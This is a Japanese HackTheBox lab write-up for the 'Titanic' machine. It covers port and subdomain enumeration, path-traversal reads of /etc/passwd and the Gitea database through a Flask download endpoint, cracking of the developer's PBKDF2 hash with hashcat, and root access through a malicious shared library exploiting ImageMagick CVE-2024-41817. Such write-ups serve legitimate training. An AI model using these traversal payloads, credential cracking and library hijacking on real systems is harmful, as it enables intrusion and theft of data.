はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Titanicです。
Titanicでは、列挙やImageMagickの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 22:34 JST
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Titanic - Book Your Ship Trip
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/3.0.3 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後taitanic.htbにアクセスすると、以下の様な画面が表示されます。
コンテンツ探索
文字通り豪華客船タイタニック号を表現したWebサイトと思われますが、gobusterを用いてコンテンツ探索を行なったものの、Titanicのコンテンツ以外で新たな情報は見つかりませんでした。
$ gobuster dir -u http://titanic.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://titanic.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/book (Status: 405) [Size: 153]
/download (Status: 400) [Size: 41]
/server-status (Status: 403) [Size: 276]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
サブドメイン
ffuwを用いてサブドメインの列挙を行います。
レスポンス結果を踏まえて、-fc
オプションを使用してステータスコードの301を除外します。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://titanic.htb -H "Host: FUZZ.titanic.htb" -c -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://titanic.htb
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.titanic.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 256ms]
:: Progress: [4989/4989] :: Job [1/1] :: 158 req/sec :: Duration: [0:00:34] :: Errors: 0 ::
devのサブドメインを検出したのでアクセスすると、Giteaのページが表示されます。
Gitea
GiteaのExploreを参照すると、2つのリポジトリが確認できます。
developer/docker-config
のリポジトリにアクセスすると、以下のファイルを発見しました。
docker-config/gitea/docker-compose.yml
version: '3'
services:
gitea:
image: gitea/gitea
container_name: gitea
ports:
- "127.0.0.1:3000:3000"
- "127.0.0.1:2222:22" # Optional for SSH access
volumes:
- /home/developer/gitea/data:/data # Replace with your path
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
また、developer/docker-config
ディレクトリ配下には、mysqlディレクトリが存在し、同じくdocker-compose.yml
ファイルがありました。
脆弱性分析
developer/flask-app
のリポジトリより、Webサイトと思われるソースコードを発見しました。
app.py
from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
app = Flask(__name__)
TICKETS_DIR = "tickets"
if not os.path.exists(TICKETS_DIR):
os.makedirs(TICKETS_DIR)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
上記flask-app/app.py
は、LFIの脆弱性が存在するため、クエリパラメータのticket
に対して、ファイル名を相対パスで指定することで、任意のファイルにアクセスすることができます。
ユーザー情報を調査するため、http://titanic.htb/download?ticket=../../../etc/passwd
にアクセスして、/etc/passwd
ファイルを確認します。
/etc/passwd
ファイルより、developerユーザーが確認できました。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
LFIを悪用することでユーザーフラグを取得できますが、Machineにはログインできないため、引き続きdeveloperユーザーの認証情報を探します。
GiteaはデフォルトでSQLiteを使用しています。また、/data
ディレクトリの中にサブディレクトリ作成して、データを格納しています。
docker-compose.yml
ファイルの情報を基に、http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini
にアクセスして、データベースファイルを調査します。
app.ini
ファイルより、データベースのファイルパスが確認できました。
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
上記を踏まえて、http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/gitea.db
にアクセスして、データベースファイルをダウンロードします。
データベースファイルをダウンロード後、sqliteを用いてデータベースファイルを開きます。
$ sqlite3 _.._.._home_developer_gitea_data_gitea_gitea.db
テーブルを確認すると、userテーブルを発見しました。
sqlite> .tables
access oauth2_grant
access_token org_user
action package
action_artifact package_blob
action_run package_blob_upload
action_run_index package_cleanup_rule
action_run_job package_file
action_runner package_property
action_runner_token package_version
action_schedule project
action_schedule_spec project_board
action_task project_issue
action_task_output protected_branch
action_task_step protected_tag
action_tasks_version public_key
action_variable pull_auto_merge
app_state pull_request
attachment push_mirror
auth_token reaction
badge release
branch renamed_branch
collaboration repo_archiver
comment repo_indexer_status
commit_status repo_redirect
commit_status_index repo_topic
commit_status_summary repo_transfer
dbfs_data repo_unit
dbfs_meta repository
deploy_key review
email_address review_state
email_hash secret
external_login_user session
follow star
gpg_key stopwatch
gpg_key_import system_setting
hook_task task
issue team
issue_assignees team_invite
issue_content_history team_repo
issue_dependency team_unit
issue_index team_user
issue_label topic
issue_user tracked_time
issue_watch two_factor
label upload
language_stat user
lfs_lock user_badge
lfs_meta_object user_blocking
login_source user_open_id
milestone user_redirect
mirror user_setting
notice version
notification watch
oauth2_application webauthn_credential
oauth2_authorization_code webhook
SQLを実行するにあたり、データを見やすい様に以下の設定を変更します。
sqlite> .header on
sqlite> .mode line
userテーブルを確認します。
sqlite> select * from user;
developerユーザーを発見しましたが、パスワードはソルトを使用してハッシュ化されていることが分かります。
id = 2
lower_name = developer
name = developer
full_name =
email = developer@titanic.htb
keep_email_private = 0
email_notifications_preference = enabled
passwd = e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
passwd_hash_algo = pbkdf2$50000$50
must_change_password = 0
login_type = 0
login_source = 0
login_name =
type = 0
location =
website =
rands = 0ce6f07fc9b557bc070fa7bef76a0d15
salt = 8bf3e3452b78544f8bee9400d6936d34
language = en-US
description =
created_unix = 1722595646
updated_unix = 1741246410
last_login_unix = 1741246410
last_repo_visibility = 0
max_repo_creation = -1
is_active = 1
is_admin = 0
is_restricted = 0
allow_git_hook = 0
allow_import_local = 0
allow_create_organization = 1
prohibit_login = 0
avatar = e2d95b7e207e432f62f3508be406c11b
avatar_email = developer@titanic.htb
use_custom_avatar = 0
num_followers = 0
num_following = 0
num_stars = 0
num_repos = 2
num_teams = 0
num_members = 0
visibility = 0
repo_admin_change_team_access = 0
diff_view_style =
theme = gitea-auto
keep_activity_private = 0
hashcatで解析ができるようにするため、pbkdf2形式に変換します。
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
hashcatを実行して解析します。
$ hashcat -m 10900 -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 5600X 6-Core Processor, 6894/13853 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 3 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:[REDACTED]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqc...lM+1Y=
Time.Started.....: Thu Mar 6 23:10:22 2025 (3 secs)
Time.Estimated...: Thu Mar 6 23:10:25 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 2001 H/s (7.83ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49920-49999
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> iheartyou
Hardware.Mon.#1..: Temp: 64c Util: 95%
Started: Thu Mar 6 23:10:21 2025
Stopped: Thu Mar 6 23:10:27 2025
システムハッキング
取得した認証情報を用いてアクセスします。
ユーザーフラグ
developerユーザーと解析したハッシュ値のパスワードを用いてログインします。
ログイン後、ユーザーフラグが確認できます。
total 40
drwxr-x--- 7 developer developer 4096 Feb 3 17:09 ./
drwxr-xr-x 3 root root 4096 Aug 1 2024 ../
lrwxrwxrwx 1 root root 9 Jan 29 12:27 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 3771 Jan 6 2022 .bashrc
drwx------ 3 developer developer 4096 Aug 1 2024 .cache/
drwxrwxr-x 3 developer developer 4096 Aug 2 2024 gitea/
drwxrwxr-x 5 developer developer 4096 Aug 1 2024 .local/
drwxrwxr-x 2 developer developer 4096 Aug 2 2024 mysql/
-rw-r--r-- 1 developer developer 807 Jan 6 2022 .profile
drwx------ 2 developer developer 4096 Aug 1 2024 .ssh/
-rw-r----- 1 root developer 33 Mar 6 14:14 user.txt
ルートフラグ
/opt
ディレクトリを確認すると、以下の様なディレクトリが確認できます。
total 20
drwxr-xr-x 5 root root 4096 Feb 7 10:37 ./
drwxr-xr-x 19 root root 4096 Feb 7 10:37 ../
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 app/
drwx--x--x 4 root root 4096 Feb 7 10:37 containerd/
drwxr-xr-x 2 root root 4096 Feb 7 10:37 scripts/
/opt/scripts/
ディレクトリ配下に興味深いファイルを発見しました。
$ cat identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
magick
は、ImageMagickと呼ばれる画像処理ツールのコマンドです。以下のコマンドでバージョンが確認できます。
$ magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)
Google検索でmagickの7.1.1-35バージョンで検索すると、以下の脆弱性が見つかりました。
このバージョンには、ImageMagickの実行時に悪意のある共有ライブラリを現在の作業ディレクトリにロードすることで任意のコード実行を可能にするCVE-2024-41817の脆弱性が存在します。
PoCを参考にしながら、以下のコマンドを実行して共有ライブラリを作成します。
$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF #include <stdio.h> #include <stdlib.h> __attribute__((constructor)) void init(){ system("cat /root/root.txt > /tmp/root.txt"); exit(0); } EOF
上記コマンドを実行後、以下の様なlibxcb.so.1
ファイルが生成されます。
-rwxrwxr-x 1 developer developer 15616 Mar 6 15:18 libxcb.so.1*
libxcb.so.1
ファイルを/opt/app/static/assets/images/
ディレクトリにコピーします。
$ cp libxcb.so.1 /opt/app/static/assets/images/
.jpg
ファイルを用意してスクリプトが実行されると、ルートフラグが取得できます。
-rw-r--r-- 1 root root 33 Mar 6 15:20 root.txt
おわりに
ユーザーフラグはLFIを用いて簡単に取得できますが、ルートフラグを取得するためには、タイタニックのように深いところまで調査する必要がある面白いMachineでした。